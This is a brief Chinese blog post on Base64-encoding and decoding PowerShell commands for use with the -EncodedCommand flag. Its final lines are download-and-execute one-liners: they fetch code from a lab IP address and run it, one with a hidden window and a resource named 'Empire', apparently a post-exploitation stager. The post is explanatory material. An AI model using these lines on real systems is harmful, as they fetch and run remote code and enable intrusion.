美文网首页
PowerShell Encode/Decode

PowerShell Encode/Decode

作者: 夙小叶 | 来源:发表于2020-07-16 20:30 被阅读0次
image.png
$cmd = "calc"                                                             
$by = [System.Text.Encoding]::Unicode.GetBytes($cmd)                      
$enc_Cmd = [Convert]::ToBase64String($by)                                 
Write-Output $enc_Cmd 

YwBhAGwAYwA=
PS > [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("calc"))
YwBhAGwAYwA=
PS > [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("YwBhAGwAYwA="))
calc

  • -enc-EncodedCommand
# http://10.10.14.24:4443/calc
YwBhAGwAYwA=
powershell -enc (New-Object Net.WebClient).DownloadString("http://10.10.14.24:4443/calc")
powershell -noP -sta -w 1 -enc (New-Object Net.WebClient).DownloadString("http://10.10.14.24:4443/Empire")

相关文章

网友评论

      本文标题:PowerShell Encode/Decode

      本文链接:https://www.haomeiwen.com/subject/kepmhktx.html